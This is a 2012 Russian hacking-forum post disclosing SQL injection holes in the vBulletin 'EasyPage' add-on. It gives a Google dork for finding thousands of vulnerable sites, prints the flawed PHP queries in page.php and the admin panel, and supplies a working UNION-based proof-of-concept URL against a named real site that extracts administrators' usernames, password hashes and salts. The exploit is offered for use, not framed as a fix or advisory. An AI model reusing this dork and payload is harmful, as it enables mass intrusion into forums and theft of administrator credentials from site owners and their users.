
19.04.2012, 21:11
|
|
Участник форума
Регистрация: 30.07.2010
Сообщений: 118
С нами:
8308406
Репутация:
0
|
|
Да нет вопросов
Поехали
EasyPage SQL-Injection
Google Dork: intext:"vbulletin" inurl:"page.php?p=" [Result: 18 000]
File: /page.php
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][...]
[/COLOR][COLOR="#0000BB"]$pageid[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'p'[/COLOR][COLOR="#007700"]];
[...]
[/COLOR][COLOR="#0000BB"]$page[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$vbulletin[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]db[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]query_first[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"
SELECT *
FROM "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]TABLE_PREFIX[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"easy_pages
WHERE varname = '[/COLOR][COLOR="#0000BB"]$pageid[/COLOR][COLOR="#DD0000"]'
LIMIT 1
"[/COLOR][COLOR="#007700"]);
[...][/COLOR][/COLOR]
PoC:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//stavropolregion.com/page.php?p=stavrop%27%20and%201=2%20union%20select%201,2,3,%28select+concat_ws%280x3b,username,password,salt%29+from+user+where+usergroupid=6%20limit%201%29,5%20--%20f[/COLOR][/COLOR]
File: /admincp/easy_pages_admin.php
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][...]
if ([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'do'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#DD0000"]'edit'[/COLOR][COLOR="#007700"])
{
[/COLOR][COLOR="#0000BB"]$pageid[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'pageid'[/COLOR][COLOR="#007700"]];
[/COLOR][COLOR="#0000BB"]$page[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$db[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]query_first[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"
SELECT *
FROM "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]TABLE_PREFIX[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"easy_pages
WHERE pageid =[/COLOR][COLOR="#0000BB"]$pageid[/COLOR][COLOR="#DD0000"] LIMIT 1
"[/COLOR][COLOR="#007700"]);
[...][/COLOR][/COLOR]
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][...]
if ([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'do'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#DD0000"]'edit_update'[/COLOR][COLOR="#007700"]){
[/COLOR][COLOR="#0000BB"]$title[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]addslashes[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'title'[/COLOR][COLOR="#007700"]]);
[/COLOR][COLOR="#0000BB"]$varname[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]addslashes[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'varname'[/COLOR][COLOR="#007700"]]);
[/COLOR][COLOR="#0000BB"]$content[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]addslashes[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'content'[/COLOR][COLOR="#007700"]]);
[/COLOR][COLOR="#0000BB"]$vbulletin[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]db[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]query_write[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"UPDATE "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]TABLE_PREFIX[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"easy_pages
SET title = '[/COLOR][COLOR="#0000BB"]$title[/COLOR][COLOR="#DD0000"]',
varname = '[/COLOR][COLOR="#0000BB"]$varname[/COLOR][COLOR="#DD0000"]',
content = '[/COLOR][COLOR="#0000BB"]$content[/COLOR][COLOR="#DD0000"]',
table_wrap = '"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'table_wrap'[/COLOR][COLOR="#007700"]] .[/COLOR][COLOR="#DD0000"]"'
WHERE pageid = "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]pageid[/COLOR][COLOR="#007700"]] .[/COLOR][COLOR="#DD0000"]";
"[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]print_cp_redirect[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'easy_pages_admin.php'[/COLOR][COLOR="#007700"]);
}
[...][/COLOR][/COLOR]
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][...]
if ([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'do'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#DD0000"]'add_update'[/COLOR][COLOR="#007700"]){
[/COLOR][COLOR="#0000BB"]$title[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]addslashes[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'title'[/COLOR][COLOR="#007700"]]);
[/COLOR][COLOR="#0000BB"]$content[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]addslashes[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'content'[/COLOR][COLOR="#007700"]]);
[/COLOR][COLOR="#0000BB"]$varname[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]addslashes[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'varname'[/COLOR][COLOR="#007700"]]);
[/COLOR][COLOR="#0000BB"]$vbulletin[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]db[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]query_write[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"INSERT INTO "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]TABLE_PREFIX[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"easy_pages
SET title = '[/COLOR][COLOR="#0000BB"]$title[/COLOR][COLOR="#DD0000"]',
varname = '[/COLOR][COLOR="#0000BB"]$varname[/COLOR][COLOR="#DD0000"]',
content = '[/COLOR][COLOR="#0000BB"]$content[/COLOR][COLOR="#DD0000"]',
table_wrap = '"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'table_wrap'[/COLOR][COLOR="#007700"]] .[/COLOR][COLOR="#DD0000"]"'
"[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]print_cp_redirect[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'easy_pages_admin.php'[/COLOR][COLOR="#007700"]);
}
[...][/COLOR][/COLOR]
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][...]
if ([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'do'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#DD0000"]'delete_page'[/COLOR][COLOR="#007700"]){
[/COLOR][COLOR="#0000BB"]$vbulletin[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]db[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]query_write[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"DELETE FROM "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]TABLE_PREFIX[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"easy_pages WHERE pageid = '"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'pageid'[/COLOR][COLOR="#007700"]] .[/COLOR][COLOR="#DD0000"]"' LIMIT 1"[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]print_cp_redirect[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'easy_pages_admin.php'[/COLOR][COLOR="#007700"]);
}
[...][/COLOR][/COLOR]
Было успешно найдено
(c) Boolean, 0x0000ed.com, 2012.
Было успешно взято
(с) Grabberz.com
|
|
|